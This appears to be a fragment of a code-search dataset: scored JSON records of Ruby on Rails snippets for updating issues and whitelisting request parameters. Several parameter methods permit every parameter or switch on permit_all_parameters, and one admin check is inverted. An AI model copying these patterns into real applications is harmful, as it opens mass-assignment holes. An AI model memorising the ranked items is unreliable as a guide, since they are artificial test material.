"title": ""
},
{
"docid": "b66080cdfb6dcf74183445e7166db767",
"score": "0.6124029",
"text": "def update\n if @issue.update(params.require(:issue).permit(:title, :description, :status))\n respond_to do |format|\n format.js {\n flash[:success] = 'Issue was successfully updated.'\n render js: \"window.location = '#{project_issues_path(@project.id)}'\" }\n\n format.json { render json: @issue }\n end\n else\n render json: @issue.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "26802c30412a9b89fde196255635a876",
"score": "0.6119397",
"text": "def update!(**args)\n @issues = args[:issues] if args.key?(:issues)\n @verdict = args[:verdict] if args.key?(:verdict)\n end",
"title": ""
},
{
"docid": "ebeb4bec553a71ab69c00405af4a507c",
"score": "0.6112397",
"text": "def issue_update\n\n \n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in issue_update page\"\n #begin \n ids=params[\"ids\"]\n \n status=params[\"status\"]\n \n approval=params[\"approval\"]\n \n issue={\"ids\"=>ids,\"status\"=>status,\"approval\"=>approval }\n data=RestClient.post $api_service+'/sops/issues_update',issue\n #rescue => e\n # Rails.logger.custom_log.error { \"#{e.class} #{sops_controller issue_update method}\" }\n #end\n #JSON.parse data\n redirect_to :action=>\"issue_closed_reopened\"\n \n end",
"title": ""
},
{
"docid": "cc50935bd4a7e2d59fa46662c155c50f",
"score": "0.6104096",
"text": "def update\n respond_to do |format|\n if @issueaction.update(issueaction_params)\n format.html { redirect_to @issueaction, notice: 'Issueaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @issueaction }\n else\n format.html { render :edit }\n format.json { render json: @issueaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67e39b0ac66bca94e27a3ba2a1a4baba",
"score": "0.60870963",
"text": "def update\n @non_comp_issue = NonCompIssue.find(params[:id])\n\n respond_to do |format|\n if @non_comp_issue.update_attributes(params[:non_comp_issue])\n format.html { redirect_to @non_comp_issue, notice: 'Non comp issue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @non_comp_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3427ef1ca123680e0189dacf3db7208e",
"score": "0.60834515",
"text": "def wontfixIssue\n respond_to do |format|\n @issue.update(:status=>'Wontfixed')\n format.html { redirect_to issues_url, notice: 'Issue was successfully resolved.' }\n end\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.6073305",
"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "de18b3e147b4b522669c23cd44ba9073",
"score": "0.60659707",
"text": "def update\n respond_to do |format|\n @user_aux = authenticate\n if (!@user_aux.nil? and @user_aux.id == @issue.user_id)\n if @issue.update(issue_params)\n if @issue.saved_changes.include?(:status)\n @comment = @issue.comments.new(content: \"• changed status to \" + @issue.status, user_id: @issue.user.id)\n @comment.save!\n end\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n else \n format.json { render json: @issue.errors, status: 403}\n end\n end\n end",
"title": ""
},
{
"docid": "4fc07419fa04903e8dd3393d750e3315",
"score": "0.60616696",
"text": "def update\n respond_to do |format|\n if @issue.update_attributes issue_params\n # publish issue depending on being closed or reopened\n if params[:issue].has_key? :open\n if params[:issue][:open] == true || params[:issue][:open] == \"true\"\n @issue.publish_reopening current_user.profile\n elsif params[:issue][:open] == false ||\n params[:issue][:open] == \"false\"\n @issue.publish_closure current_user.profile\n else\n raise \"Unimplemented open value #{params[:issue][:open]}\"\n end\n end\n format.html do\n redirect_to profile_repository_issues_path(@profile, @repository),\n notice: 'Issue was successfully updated.'\n end\n format.xml { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.xml do\n render xml: @issue.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "4bf7d03e96c92c096e930674f2a472b0",
"score": "0.6053696",
"text": "def maybe_cancel_or_reprocess_request_issues_update!(request_issue, request_issues_update, index)\n if request_issues_update.all_updated_issues == [request_issue]\n cancel_request_issues_update!(request_issue, request_issues_update, index)\n else\n update_and_reprocess_request_issues_update!(request_issue, request_issues_update, index)\n end\n end",
"title": ""
},
{
"docid": "55bff90f0aa4608e8b0c3054bda75c66",
"score": "0.6048075",
"text": "def set_api_issue\n @issue = Issue.find(params[:id])\n end",
"title": ""
},
{
"docid": "e5fe3271deb837a0a24fe8830cb2e51a",
"score": "0.60446614",
"text": "def update_issue_from_params\n @allowed_statuses = @issue.new_statuses_allowed_to(User.current)\n @priorities = IssuePriority.all\n @edit_allowed = User.current.allowed_to?(:edit_customer_issues, @project)\n @time_entry = TimeEntry.new\n \n @notes = params[:notes]\n @issue.init_journal(User.current, @notes)\n # User can change issue attributes only if he has :edit permission or if a workflow transition is allowed\n if (@edit_allowed || !@allowed_statuses.empty?) && params[:issue]\n attrs = params[:issue].dup\n attrs.delete_if {|k,v| !UPDATABLE_ATTRS_ON_TRANSITION.include?(k) } unless @edit_allowed\n attrs.delete(:status_id) unless @allowed_statuses.detect {|s| s.id.to_s == attrs[:status_id].to_s}\n @issue.safe_attributes = attrs\n end\n\n end",
"title": ""
},
{
"docid": "2b5638ccff98c23eb927f214ac4ae12d",
"score": "0.6044103",
"text": "def update\r\n respond_to do |format|\r\n if @issue.update(issue_params)\r\n set_issues_grid\r\n format.html { redirect_to redirect_url, notice: t('activerecord.success.messages.updated', model: Issue.model_name.human) }\r\n format.js\r\n else\r\n format.html { render :edit }\r\n format.js { render :edit }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "a094dcf2b12f2a30648c8c8d7d0c2a7a",
"score": "0.6040133",
"text": "def update_and_reprocess_request_issues_update!(request_issue, request_issues_update, index)\n if request_issues_update.withdrawn_issues.include?(request_issue)\n unwithdraw_request_issue!(request_issue, request_issues_update, index)\n elsif request_issues_update.removed_issues.include?(request_issue)\n unremove_request_issue!(request_issue, request_issues_update, index)\n end\n reprocess_request_issues_update!(request_issue, request_issues_update, index)\n end",
"title": ""
},
{
"docid": "0c1a09a9d20ee815b5c9f998eda70b44",
"score": "0.60355633",
"text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end",
"title": ""
},
{
"docid": "33120da849a933a08c0bd08e3fe55425",
"score": "0.60338926",
"text": "def update\n respond_to do |format|\n if @pull_request.update(pull_request_params)\n format.html { redirect_to @pull_request, notice: 'PullRequest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pull_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb7d4d66a64edb99736aa3f3270f4803",
"score": "0.603065",
"text": "def update\n respond_to do |format|\n if @issue_type.update(issue_type_params)\n format.html { redirect_to @issue_type, notice: 'Issue type was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_type }\n else\n format.html { render :edit }\n format.json { render json: @issue_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "95d21339bf793c03f15cd1c84ffb6b38",
"score": "0.0",
"text": "def fpsignal_params\n params[:fpsignal].permit(:date, :msg_time, :type_signal, :technic, :description, :karaul)\n end",
"title": ""
}
] |
[
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.6980384",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6782743",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.6746196",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.6742575",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6736",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.6594004",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.65037984",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.6496699",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.64819324",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.64791185",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.6456292",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.64403296",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.63795286",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.6375975",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.6365291",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.63210756",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.6300542",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.6299717",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.62943304",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.6292561",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6290683",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.6290449",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.6282986",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.6241265",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.62392694",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.62192893",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.621427",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.62099457",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.6195319",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.61785376",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.61747766",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.6172739",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6162921",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.6152228",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.6152062",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.6148811",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.6122391",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6117956",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.61083806",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.6106195",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.609274",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.60815483",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.60710186",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.6064253",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.60213476",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.6018128",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.60146624",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.601063",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60068774",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60068774",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.60026145",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.6000521",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.59987193",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.5992379",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.59922844",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.5991889",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.59803206",
"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.5966244",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.5959778",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.5959708",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.59588563",
"text": "def filtering_params\n params.permit(:email)\n end",
"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.5956974",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.5953329",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.59528023",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.59439695",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.59413165",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59397036",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59397036",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.5933782",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.59323835",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.59258395",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.59253365",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.5917244",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.59111005",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.59093463",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.5907942",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.59047514",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.58979666",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.58971125",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.589613",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.5895083",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.5893643",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.5892825",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.5887658",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.5883417",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.5878839",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.5874345",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.5869008",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.5868205",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.58672875",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.5867031",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.58662426",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.5864551",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.5863614",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.5862626",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.5861952",
"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.58596134",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.5855716",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.58536863",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.5851665",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.5850823",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
}
] |
50f9f185a7e0a4b735aeced6110bd841
|
Calculates hash code according to all attributes.
|
[
{
"docid": "87b0f2e667622ae859f0baaab647f1e1",
"score": "0.0",
